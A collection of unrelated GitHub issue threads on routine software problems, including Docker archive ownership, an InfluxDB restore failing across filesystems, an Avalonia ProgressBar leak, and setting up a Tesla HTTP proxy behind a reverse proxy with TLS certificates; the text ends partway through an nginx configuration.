Docker API: archive does not untar file content, tar archive is owned by root

Description of problem:
Docker API: archive in (post) does not untar the file content I want to place inside the docker container, tar file is owned by root (and sometimes by my user..).
Eventually I am doing something wrong with access rights?
Help is greatly appreciated.
docker version:
Client:
Version:      1.9.1
API version:  1.21
Go version:   go1.4.2
Git commit:   a34a1d5
Built:        Fri Nov 20 13:12:04 UTC 2015
OS/Arch:      linux/amd64
Server:
Version:      1.9.1
API version:  1.21
Go version:   go1.4.2
Git commit:   a34a1d5
Built:        Fri Nov 20 13:12:04 UTC 2015
OS/Arch:      linux/amd64
docker info:
Containers: 6
Images: 238
Server Version: 1.9.1
Storage Driver: aufs
Root Dir: /var/lib/docker/aufs
Backing Filesystem: extfs
Dirs: 250
Dirperm1 Supported: false
Execution Driver: native-0.2
Logging Driver: json-file
Kernel Version: 3.13.0-68-generic
Operating System: Ubuntu 14.04.3 LTS
CPUs: 8
Total Memory: 7.798 GiB
Name: vagrant-ubuntu-trusty-64
ID: 42J6:7X73:Q5LK:LVEV:KAMQ:SAYK:DH3D:KSTC:JQF7:HBSC:IOZR:44NA
WARNING: No swap limit support
uname -a:
Linux vagrant-ubuntu-trusty-64 3.13.0-68-generic #111-Ubuntu SMP Fri Nov 6 18:17:06 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
Environment details (AWS, VirtualBox, physical, etc.):
Vagrant on Virtualbox, physical is an OSX, but appears on other machines as well.
How reproducible:
Always. I am using the swipely docker API gem for Ruby on Rails. See script below.
Steps to Reproduce:

Start up a docker container.
Access the container via an interactive ruby shell:

require 'docker'
container = Docker::Container.get('#yourID')
container.archive_in('/some/folder/', '/home/python/', overwrite: false)
archive_in is implemented here, Line 250ff. Seems nothing wrong with the Ruby code for me.

Check what happens on your docker container (I did this via: 'docker exec -it #yourID bash' and then having a look at the file system).

Depending on whether I used Binds in the container creation options, the still untar-ed archive belonged to root or python (the user I use inside my container).
If Binds were used on the target folder for my archive, it belonged to python, if I used another folder it belonged to root.
Actual Results:
A tar file owned by root.
Expected Results:
An unarchived file owned by my actual used user.
Additional info:

Can you reproduce this using the docker cli?

I could reproduce it partly.
When using Postman to interact with the REST interface, the tar gets unpacked properly. Files are however also owned by root afterwards (regardless where I place them).
Is there any option to change/set the owner of the files via the API?
Concerning the situation that the archives are not unpacked when using the Ruby gem, I will open a ticket on their repo. Thanks for your help so far.

@rteusner Support isn't provided for third party libraries interacting with the API, generally speaking. The issue is that there's no way to guarantee they're doing things the exact same way as the Docker CLI or that they've gone through the same testing.

@unclejack I totally understand that and agree.
My question with regards to the Docker CLI  / Remote API is, whether the files unpacked by the Docker Remote API always have to belong to root afterwards. The Docker Remote API is part of the CLI, right? Or does the question belong somewhere else?
I could not find more information in the documentation, however I located the (probably) respective part of the source here (I would have guessed it is under /api instead of /daemon, first, but found it in the second try). Is there some documentation with regards to unix user handling when using the Docker Remote API in general?
Thanks in advance!

@rteusner Last time I've checked, the owner was changed to root.

This is an old issue.  I will close it as stale.


Fix phoenix database and table names case sensitive

In phoenix database and table names are case sensitive, but in the sql_achlemy code we do upper() which is causing the tables not to be listed out.
Internal Jira: CDPD-61651
What changes were proposed in this pull request?
remove upper() for database and table
How was this patch tested?
Performed manual test in a internal cluster and also via sqlalchemy.

from sqlalchemy import create_engine, inspect
engine = create_engine('phoenix://:8765')
insp = inspect(engine)
print(insp.get_schema_names())
['', 'SYSTEM', 'tcastestlower']
print(insp.get_table_names("tcastestlower"))
['mahesh_test']
print(insp.get_view_names("tcastestlower"))
['test_table']
print(insp.get_table_names("TCASTESTLOWER"))
[]

@agl29 - Can you please review this PR? IIRC there was some specific reason why this upper methods were added in the first place?
To also check for any regressions with other Phoenix operations.


[WIP] Adds rostopic support to vision_gui

@icyflame  @pranaypratyush  - vision_gui is not yet ready. For some reason, the subscriber's callback function doesn't get called at all, and ros::ok() goes into infinite loop until the GUI crashes (tested on the task_buoy's CAMERA_FRONT_BUOY_IMAGE). Haven't found a solution yet.
@dyutimoy  - You can also have a look at the vision_gui's code and fix the gui to make it read from ros topics. :smile:


Support more placeholder types

Thoughts on _generatePlaceholder() supporting additional types?
I haven't thought through this too much, just wanted to run it by you.

@iampatbrown Sorry for the delay. We're pretty busy at the moment, but this definitely looks interesting! Might be a week or two before we have time to think through the current implementation, and do feel free to ping us here if we neglect it for too long!

Might be a week or two before we have time to think through the current implementation

@stephencelis No stress at all. Figured the implementation might need some thought :)

Closing this for now. The current works for the majority of cases and using an explicit placeholder when needed is fine.

@iampatbrown Down to revisit this? We've moved things around, so if you don't have time I can attempt to rebase, but also wanted to make sure there wasn't anything else that came to mind since you first opened this.

@stephencelis I'd most likely redo with a 5.7 implementation as well. Can resist this on the weekend if there's no rush.


Align example in the client package with the api.

Hey,
I've fixed up the example in the client api to align it with the code.
Mark

LGTM. Shippable is a flake since this is a documentation only change.

Closing and re-opening to kick shippable.

@k8s-bot ok to test

The error from shippable:
!!! 'gofmt -s' needs to be run on the following files:
./pkg/client/doc.go

I've gofmt'd the file - but it looks like the builds still fail.
How do you get to see the details for the build output?
Thanks,
Mark

You should be able to click into the details of the Shippable build following the link next to it. This time it doesn't like the format of the boilerplate at the top of the file:
./hack/verify-boilerplate.sh
Boilerplate header is wrong for: ./pkg/client/doc.go

You can re-test it locally by running ./hack/verify-boilerplate.sh in your repo. You can set up git to automatically catch these things for you by setting up commit hooks: https://github.com/GoogleCloudPlatform/kubernetes/blob/master/docs/devel/development.md#hooks

Cool - looking better but I can't see the shippable error?
Clicking on the Details link gives me -
{"id":1005,"message":"Internal API error : getPermissionByProjectId","methodName":"chkPermForId|_getSByProjectId"} error so not to sure what is up but it looks like this https://github.com/Shippable/support/issues/1590
Thanks,
Mark

Should be ok-to-merge when shippable's done

You may need to rebase. Shippable is failing with errors like panic: API version 'v1beta1' is not recognized.

Here goes again!
I'm not too sure that my changes would relate to those errors but have rebased.
Thanks,
MArk

cc @yujuhong


ProgressBar indeterminate animation is running even after IsVisible=false

Describe the bug
ProgressBar indeterminate animation is running even after IsVisible=false
To Reproduce
Set IsIndeterminate=true, IsVisible=false for ProgressBar
  <StackPanel Width="400" VerticalAlignment="Center" HorizontalAlignment="Center">
    <ProgressBar Name="ProgressBar"
                 IsIndeterminate="True" />
    <CheckBox Content="IsIndeterminate"
              IsChecked="{Binding #ProgressBar.IsIndeterminate, Mode=TwoWay}" />
    <CheckBox Content="IsVisible"
              IsChecked="{Binding #ProgressBar.IsVisible, Mode=TwoWay}" />
  </StackPanel>

Expected behavior
ProgressBar  indeterminate animation is not running when IsVisible=false
Screenshots
Environment

OS: Windows
Avalonia-Version: 11.0.4

Additional context

Related https://github.com/AvaloniaUI/Avalonia/discussions/12777

This causes memory leak if ProgressBar is stored within Container. Put code below inside a view, and put said view as a DataTemplate of TabControl's content. Switch to tab with ProgressBar. Set IsConnectedToServer to false. Switch out and switch back. Observe view that contained ProgressBar is still in memory and is not collected by garbage collector. As a result whole view and all of it's content leaks.
			<!--  Reconnect indicator  -->
			<Panel HorizontalAlignment="Stretch"
				   VerticalAlignment="Stretch"
				   IsVisible="{Binding !IsConnectedToServer}"
				   ZIndex="1">
				<Grid ColumnDefinitions="33*, 33*, 33*"
					  HorizontalAlignment="Center"
					  VerticalAlignment="Center">
					<TextBlock Grid.Row="0"
							   HorizontalAlignment="Center"
							   FontSize="16"
							   Text="{Binding Resources[HomeView_Wait]^}" />
					<ProgressBar Grid.Row="2"
								 Width="250"
								 Height="14"
								 HorizontalAlignment="Center"
                 IsIndeterminate="True" />
				</Grid>
			</Panel>```


Support ElasticSearch 6

Add application/json to request to support ElasticSearch 6.
See https://www.elastic.co/blog/strict-content-type-checking-for-elasticsearch-rest-requests for more details.

I will make a new PR with everything


influx 2.0 restore fails with: invalid cross-device link

Steps to reproduce:

Spin up Influx 2.1 with a docker-compose config entry like this:

influx:
  image: influxdb:2.1.1-alpine
  restart: always
  environment:
    DOCKER_INFLUXDB_INIT_USERNAME: "admin"
    DOCKER_INFLUXDB_INIT_PASSWORD: "$password"
    DOCKER_INFLUXDB_INIT_ORG: "some-org"
    DOCKER_INFLUXDB_INIT_BUCKET: "initial"
    DOCKER_INFLUXDB_INIT_RETENTION: "4w"
    DOCKER_INFLUXDB_INIT_ADMIN_TOKEN: "$token"
    DOCKER_INFLUXDB_INIT_MODE: "upgrade"
  volumes:
    - "${my_data_folder}/influxdb:/var/lib/influxdb:rw"
    - "${my_config_folder}/influx/influxdb.conf:/etc/influxdb/influxdb.conf:ro"
    - "${my_data_folder}/influxdb2:/var/lib/influxdb2:rw"
    - "${my_config_folder}/influx2/config.toml:/etc/influxdb2/config.toml:ro"
  expose:
    - "8086"

Connect to the container with docker-compose exec influx sh
Make a backup with influx backup --org some-org /tmp/backup
Attempt to restore the backup:

2021/11/17 13:43:48 INFO: Restoring KV snapshot
2021/11/17 13:43:48 INFO: Restoring SQL snapshot
Error: failed to restore SQL snapshot: InfluxDB OSS-only command failed: 500 Internal Server Error: An internal error has occurred - check server logs

And the server logs say:
ts=2021-11-17T13:43:48.620552Z lvl=info msg="Resources opened" log_id=0XsY0eFW000 service=kvstore-bolt service="restored bolt" path=/var/lib/influxdb2/influxd.bolt.tmp
ts=2021-11-17T13:43:48.659097Z lvl=info msg="index opened with 8 partitions" log_id=0XsY0eFW000 service=storage-engine index=tsi
ts=2021-11-17T13:43:48.660690Z lvl=info msg="Reindexing TSM data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=34
ts=2021-11-17T13:43:48.660741Z lvl=info msg="Reindexing WAL data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=34
ts=2021-11-17T13:43:48.691339Z lvl=info msg="index opened with 8 partitions" log_id=0XsY0eFW000 service=storage-engine index=tsi
ts=2021-11-17T13:43:48.693861Z lvl=info msg="Reindexing TSM data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=35
ts=2021-11-17T13:43:48.694294Z lvl=info msg="Reindexing WAL data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=35
ts=2021-11-17T13:43:48.707817Z lvl=info msg="index opened with 8 partitions" log_id=0XsY0eFW000 service=storage-engine index=tsi
ts=2021-11-17T13:43:48.708433Z lvl=info msg="Reindexing TSM data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=2
ts=2021-11-17T13:43:48.708450Z lvl=info msg="Reindexing WAL data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=2
ts=2021-11-17T13:43:48.720990Z lvl=info msg="index opened with 8 partitions" log_id=0XsY0eFW000 service=storage-engine index=tsi
ts=2021-11-17T13:43:48.722198Z lvl=info msg="Reindexing TSM data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=20
ts=2021-11-17T13:43:48.722254Z lvl=info msg="Reindexing WAL data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=20
ts=2021-11-17T13:43:48.733144Z lvl=info msg="index opened with 8 partitions" log_id=0XsY0eFW000 service=storage-engine index=tsi
ts=2021-11-17T13:43:48.733755Z lvl=info msg="Reindexing TSM data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=21
ts=2021-11-17T13:43:48.733772Z lvl=info msg="Reindexing WAL data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=21
ts=2021-11-17T13:43:48.743264Z lvl=info msg="index opened with 8 partitions" log_id=0XsY0eFW000 service=storage-engine index=tsi
ts=2021-11-17T13:43:48.743797Z lvl=info msg="Reindexing TSM data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=25
ts=2021-11-17T13:43:48.743811Z lvl=info msg="Reindexing WAL data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=25
ts=2021-11-17T13:43:48.755871Z lvl=info msg="index opened with 8 partitions" log_id=0XsY0eFW000 service=storage-engine index=tsi
ts=2021-11-17T13:43:48.756455Z lvl=info msg="Reindexing TSM data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=31
ts=2021-11-17T13:43:48.756476Z lvl=info msg="Reindexing WAL data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=31
ts=2021-11-17T13:43:48.764186Z lvl=info msg="index opened with 8 partitions" log_id=0XsY0eFW000 service=storage-engine index=tsi
ts=2021-11-17T13:43:48.764677Z lvl=info msg="Reindexing TSM data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=32
ts=2021-11-17T13:43:48.764689Z lvl=info msg="Reindexing WAL data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=32
ts=2021-11-17T13:43:48.776011Z lvl=info msg="index opened with 8 partitions" log_id=0XsY0eFW000 service=storage-engine index=tsi
ts=2021-11-17T13:43:48.776557Z lvl=info msg="Reindexing TSM data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=33
ts=2021-11-17T13:43:48.776580Z lvl=info msg="Reindexing WAL data" log_id=0XsY0eFW000 service=storage-engine engine=tsm1db_shard_id=33
ts=2021-11-17T13:43:48.784401Z lvl=info msg="Resources opened" log_id=0XsY0eFW000 service=sqlite service="restored sqlite" path=/tmp/2397678724/influxd.sqlite
ts=2021-11-17T13:43:48.785063Z lvl=warn msg="internal error not returned to client" log_id=0XsY0eFW000 handler=error_logger error="rename /tmp/2397678724/influxd.sqlite /var/lib/influxdb2/influxd.sqlite: invalid cross-device link"

Expected behavior:
I expected the restore to work.
Actual behavior:
It stopped during importing the sqlite database. Seems like it does a os.Rename("/tmp/2397678724/influxd.sqlite", "/var/lib/influxdb2/influxd.sqlite"), which (as expected) fails since /tmp and /var/lib/influx2 are on different block devices. Same would happen if done on the command-line with ln /tmp/some-file /var/lib/influxdb2/some-hardlink. Note that this is not docker specific, it just happens regularly, since mounting a volume to /var/lib/influxdb2 seems to be common practice. Writing the backup to e.g. /var/lib/influxdb2/backup also does not help, since the restore process still works with files in /tmp.
Environment info:

System info: Linux 5.4.101-1-MANJARO x86_64
influxd version: InfluxDB 2.1.1 (git: 657e1839de) build_date: 2021-11-09T03:03:48Z

This is probably the function causing the error. It would need to be adjusted to detect when the source and destination are on separate devices and switch to a copy-then-delete-source strategy.

@danxmoran Any ETA on this? I have a production server that is down for 22 hours and I'm unable to restore data

I created a custom binary for myself based on the code from #22909 and the restore worked like a charm.

Just encountered this... if you need to restore now until the fix is released: point the TMPDIR environment variable for the server process to a directory on the same filesystem as the database (e.g. in /etc/default/influxdb2), restart server, then the restore succeeds.

@MartinEmrich can you explain a bit more what you mean?  Trying to restore a database and can't.

@FuzzyMistborn you need to set the environment variable TMPDIR to a directory on the same device/filesystem where also the influxdb Database files reside.
E.g. if your database is under /opt/influxdb on a separate partition mounted on /opt (which is IMHO good practice), you need to make a temporary directory e.g. /opt/temp, and set TMPDIR=/opt/temp for the influxdb server process.
This way, the move operations is within the same filesystem and will succeed.

Hmm....not sure how I would do this in Docker.  It's not a docker environment variable so I'd set it inside the container?

Hi @MartinEmrich, any tips how to achieve it in docker? I'm using image influxdb:2.1.1 and bug still exists.

@pskomo I guess something like  docker run  -e TMPDIR=/path/to/your/data/volume/somewhere.


Add UpsertTag to the interface

This is a convenience method to atomically insert/update a give tag

Damn it, travis failed complaining about go fmt of applied suggested changes.
I will go fmt and force push.


Duplicate Content and SEO

Can you reproduce this issue on default Wordpress theme (eg Storefront)?
Can you reproduce this issue when all other plugins are disabled except WooCommerce, Polylang and Hyyan WooCommerce Polylang Integration?
What product versions and settings are you using when this issue occurs?

PHP:
WordPress:
WooCommerce:
Polylang: [state if using Polylang PRO]
Hyyan WooCommerce Polylang Integration:
Browser:

Steps to Reproduce

What I Expected
What Happened Instead
WordPress Environment

```
Copy and paste the system status report from **WooCommerce > System Status** in WordPress admin here.
```

Hi,
No problems with the plugin, everything works fine.
My issue is with the natural creation of duplicate content of the products and the negative effect on SEO. Currently my site has 47% duplicate content which is all my products in /English and Dutch.
How do you get round this?
Is the only way to have the products in one language
Regards
Gwendolyne Blaney

It's not counted as duplicate content from an SEO point of view.  What makes you think that it is?
Pages are tagged with
<html lang=
<link rel="alternate" href="other-language-version" hreflang="..

so Google etc knows that it is alternative language version of the page, not a duplicate page.
This is a general polylang and SEO question and not specific to this plugin.


Remove requirement for Nginx SSL proxy

I don't run a proxy per service, instead I have one singular reverse proxy, for all my services (it's also not hosted on home assistant, and I have no desire to have it hosted there)
Because of this, this add on in it's current state is unusable for me, looking it over, I need the ability to forward both the flask port 8099, and the tesla-http-proxy (from port 443 to a custom port), that I then use my reverse proxy to control traffic to those ports.
Additionally, I believe the com.tesla.3p.public-key.pem would need to get moved from /share/tesla to something like /config/www/tesla so that you can proxy to it, from an external service, since the /share directory is not reachable via http requests.
I obviously could maintain my own version, but that has the downside of no one else being able to use it (because I don't have the time to provide support for other users), and also means I'm constantly gonna have to monitor this repository to get improvements from other people for it.

You can copy the public key wherever you want.
I think the only thing blocking you is that port 8099 is only open to the internal Docker network. Is that correct? I could open that port to anywhere but then it would lose a point on Home Assistant’s security rating. Can you try and let me know if that solves your problem?

I could open that port to anywhere but then it would lose a point on Home Assistant’s security rating.
I gotta be honest, this is why I never pay attention to that number, right now you are "exposing" port 8099 via nginx's ssl proxy.
Exposing the port directly isn't any safer than exposing it from the proxy, yet HASS gives you a point for making the addon less customizable.

You would also need to expose port 443 so that you can actually proxy stuff to the API.
but also if you try and run this addon without the SSL proxy, it will always crash and never startup.

From where are you trying to send commands to the proxy?  My plan was to make the proxy available only from Home Assistant, so there would be no reason to expose that port.  I'm curious if you have a different use case.
Anyway, I've exposed these ports and put the nginx specific parts behind a condition that only runs if nginx is installed.  See if it works for you now?
If you're planning to expose 443 publicly, take note of this warning from Tesla:

Do not listen on a network interface without adding client authentication. Unauthorized clients may
be used to create excessive traffic from your IP address to Tesla's servers, which Tesla may respond
to by rate limiting or blocking your connections.

I'm still sending them only from home assistant, but if I route them through my proxy, I don't have to deal with a custom certificate, since it will just work with my existing wildcard cert.

I'd agree. To set this up, I'd put this through my existing reverse proxy with existing SSL wildcard cert.
I can handle tesla-http_proxy as a HA addon, but I'd prefer to put the proxy on my docker reverse-proxy stack on a different machine and then point the HA tesla_custom (or whatever other tesla integration) there.

This request doesn’t make sense to me. If you are only hitting the proxy from Home Assistant, then there is no reason to give it a FQDN with wildcard cert.
I understand the desire to use your own proxy for external traffic, but that is only required for the static public key and the temporary auth flow, which should be working today.

I drew a simplified version of Tesla's new authentication flow.  The red lines show the parts that require SSL proxy to Home Assistant, and the blue line is using the internal self-signed certificate.  I hope it makes sense.

I have created a docker version of this project, which means you don't need to install a Home Assistant add-on. This might be useful for those who can't or won't install HA add-ons (e.g. if you are running the docker version of HA).
It's still in Beta, but it does work in so far as registering all the keypairs, installing the key into your vehicle, and use of curl to send commands to the vehicle. I am waiting for the current PR to integrate llamafilm's proxy into Home Assistant, after which I'll make whatever updates are needed to my project to work with HA.
Great work by llamafilm who has done all the clever stuff!
Check out my project here: https://github.com/iainbullock/tesla-http-proxy-docker/tree/main

Hello, I already have a "NGINX proxy manager" setup for Home Assistant with DuckDNS +SSL, and so to be able to also use this integration, I cannot install the "NGINX Home Assistant SSL proxy". How can I integrate the configuration of NGINX proxy manager? tnks

@iainbullock Do you think you could make a PR against my Dockerfile that will make it work in your environment, without breaking compatibility as an addon?

@iainbullock Do you think you could make a PR against my Dockerfile that will make it work in your environment, without breaking compatibility as an addon?

I will attempt to do this, as it would be best if your version could support both approaches. I will have to do some work though to make it compatible with both (and might need some help in doing so).

@llamafilm Just to continue an excerpt of the conversation from https://github.com/alandtse/tesla/issues/899 (which I've now closed):
My question: The URL to my proxy is https://<IP_ADDRESS>:4430/ could you confirm this is the correct format to enter in the Proxy URL box in the config flow?
Your answer: The IP address won't work; it needs to be a domain name which matches the TLS cert.
I created the TLS cert in the first place using the IP address rather than a domain name, and the proxy works when using curl and this cert, e.g.:
curl --cacert selfsigned.pem
--header 'Content-Type: application/json'
--header "Authorization: Bearer $TESLA_AUTH_TOKEN"
--data '{"which_trunk": "rear"}'
"https://<IP_ADDRESS>:4430/api/1/vehicles/$VIN/command/actuate_trunk"
Works as expected

Oh I see!  I didn't realize that was possible, but if curl is not complaining then I guess the IP is fine.
Does that curl command work from inside the Home Assistant container?  You may need to connect both containers to the same docker network.

Oh I see! I didn't realize that was possible, but if curl is not complaining then I guess the IP is fine.
Does that curl command work from inside the Home Assistant container? You may need to connect both containers to the same docker network.

Update: I confirm that I can successfully connect from the HA container command line using curl to my proxy.
However:
1 - I've been a complete numpty and have been using the Owners API Refresh Key rather than the Fleet API Refersh Key as generated by the iOS app 'Auth for Tesla'
2 - Now I'm using the correct Refresh Key, the config flow still fails but for different reasons. It does at least now successfully refresh oauth
3 - The reason it is failing now appears to be it not liking my SSL Cert. Even though my SSL Cert (based on IP address not hostname) works for curl, it seems the integration doesn't like it. I won't paste the whole debug log here, but below is the line which gives the clue. Your assertion that a hostname name rather than IP must be specified may well be correct.
File "/usr/local/lib/python3.12/ssl.py", line 917, in do_handshake
self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: IP address mismatch, certificate is not valid for '<IP_ADDRESS>'. (_ssl.c:1000)
I will regenerate the SSL key based on hostname when I get time later. I will report back, but I'm feeling confident now. Thanks for the pointer

OK. I regenerated the SSL keys based on hostname. Same issue.
I can connect via curl from the HA container, but the python connection from the integration doesn't like it. Logs below.
I also get this error in the proxy log:
2024/03/14 18:43:17 http: TLS handshake error from <IP_ADDRESS>:40246: EOF
I'll do a bit more digging, I can't be far off (no need to respond I can see you've got lots of questions from other people). It doesn't like the SSL key or some other aspect of the connection to the proxy. Any ideas welcome of course, thanks

Traceback (most recent call last):
File "/usr/src/homeassistant/homeassistant/config_entries.py", line 504, in async_setup
result = await component.async_setup_entry(hass, self)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/config/custom_components/tesla_custom/init.py", line 187, in async_setup_entry
result = await controller.connect(
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/teslajsonpy/controller.py", line 219, in connect
self._product_list = await self.get_product_list()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/teslajsonpy/controller.py", line 313, in get_product_list
return (await self.api("PRODUCT_LIST"))["response"]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/teslajsonpy/controller.py", line 1375, in api
return await self.__post_with_retries_except_unavailable(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/tenacity/_asyncio.py", line 88, in async_wrapped
return await fn(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/tenacity/_asyncio.py", line 47, in call
do = self.iter(retry_state=retry_state)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/tenacity/init.py", line 314, in iter
return fut.result()
^^^^^^^^^^^^
File "/usr/local/lib/python3.12/concurrent/futures/_base.py", line 449, in result
return self.__get_result()
^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/concurrent/futures/_base.py", line 401, in __get_result
raise self._exception
File "/usr/local/lib/python3.12/site-packages/tenacity/_asyncio.py", line 50, in call
result = await fn(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/teslajsonpy/controller.py", line 1407, in __post_with_retries_except_unavailable
return await self.__connection.post(command, method=method, data=data, url=url)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/teslajsonpy/connection.py", line 166, in post
return await self.__open(url, method=method, headers=self.head, data=data)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/teslajsonpy/connection.py", line 207, in __open
resp: httpx.Response = await getattr(self.websession, method)(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpx/_client.py", line 1801, in get
return await self.request(
^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpx/_client.py", line 1574, in request
return await self.send(request, auth=auth, follow_redirects=follow_redirects)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpx/_client.py", line 1661, in send
response = await self._send_handling_auth(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpx/_client.py", line 1689, in _send_handling_auth
response = await self._send_handling_redirects(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpx/_client.py", line 1726, in _send_handling_redirects
response = await self._send_single_request(request)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpx/_client.py", line 1763, in _send_single_request
response = await transport.handle_async_request(request)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpx/_transports/default.py", line 373, in handle_async_request
resp = await self._pool.handle_async_request(req)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpcore/_async/connection_pool.py", line 216, in handle_async_request
raise exc from None
File "/usr/local/lib/python3.12/site-packages/httpcore/_async/connection_pool.py", line 196, in handle_async_request
response = await connection.handle_async_request(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpcore/_async/connection.py", line 99, in handle_async_request
raise exc
File "/usr/local/lib/python3.12/site-packages/httpcore/_async/connection.py", line 76, in handle_async_request
stream = await self._connect(request)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpcore/_async/connection.py", line 154, in _connect
stream = await stream.start_tls(**kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/httpcore/_backends/anyio.py", line 78, in start_tls
raise exc
File "/usr/local/lib/python3.12/site-packages/httpcore/_backends/anyio.py", line 69, in start_tls
ssl_stream = await anyio.streams.tls.TLSStream.wrap(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/anyio/streams/tls.py", line 125, in wrap
await wrapper._call_sslobject_method(ssl_object.do_handshake)
File "/usr/local/lib/python3.12/site-packages/anyio/streams/tls.py", line 133, in _call_sslobject_method
result = func(*args)
^^^^^^^^^^^
File "/usr/local/lib/python3.12/ssl.py", line 917, in do_handshake
self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate (_ssl.c:1000)

Update, it is now working correctly.
The issue was with the SSL cert. I found that the SSL cert must:

Be a hostname not an IP address
Resolve to the same IP (the docker host IP) in both the HA container (if using docker version of HA) and my proxy container. This required me to set a hostname to IP mapping in my router DNS

I can now confirm that my version of the proxy (in a docker contianer rather than HA add-on) does work, and HA now has the required functionality with my car (M3 2024 UK model) https://github.com/iainbullock/tesla-http-proxy-docker
I will work on tidying it up, and eventually hope to merge into llamafilm's project so both HA addon and docker versions are supported in the same project
@llamafilm I appreciate what you have created here and the continung support you are provding to the community 👍

I have a different setup, and I'm not sure what to do
my setup is inet -> router -> linux box with traefik reverse proxy docker container -> HAOS on a rpi3
traefik is handling the SSL cert for my home assistant as well as the traffic forwarding for myhomeassistant.mydomain.com
with that setup I don't have the Nginx SSL proxy add-on installed on HAOS
I can easily add a new domain (tesla.mydomain.com) that also forward to my homeassisant IP, but I'm not sure (don't understand) if that's enough ?

@loki666 actually it’s the other way around. The add on will generate its own self-signed cert which goes in the /share folder so that HA can use it.
If you read through all the discussions, it sounds like some folks have been able to set this up without Nginx. I don’t have time to validate each unique config, but I suggest people start using the wiki feature here on GitHub to document these different scenarios.

ok so if I understand correctly the setup
the flask application on port 8089 is needed for the auth negotation, if exposed on the HAOS eth iface, I can route my reverse proxy to that using tesla.mydomain.com (with a new SSL cert used for the https connection)
the only thing missing will be the access to com.tesla.3p.public-key.pem since currently it's being exposed using the Nginx SSL porxy add-on, so if you could make the flask app expose that file also (instead of using nginx) everything should be fine

Can you also specify the path of the certificate in Traefik as well? The docs says it should in .well-known/appspecific/com.tesla.3p.public-key.pem so https://tesla.example.com/.well-known/appspecific/com.tesla.3p.public-key.pem

no, I set up a nginx docker container with a config close to what this add-on has
user  nginx;
worker_processes  auto;

error_log  /var/log/nginx/error.log notice;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    keepalive_timeout  65;

    #gzip  on;

    server {
        listen     80;
        server_name tesla.mydomain.duckdns.org;

        location / {
            proxy_pass http://<IP_ADDRESS>:8099;
        }

        location /.well-known/appspecific/com.tesla.3p.public-key.pem {
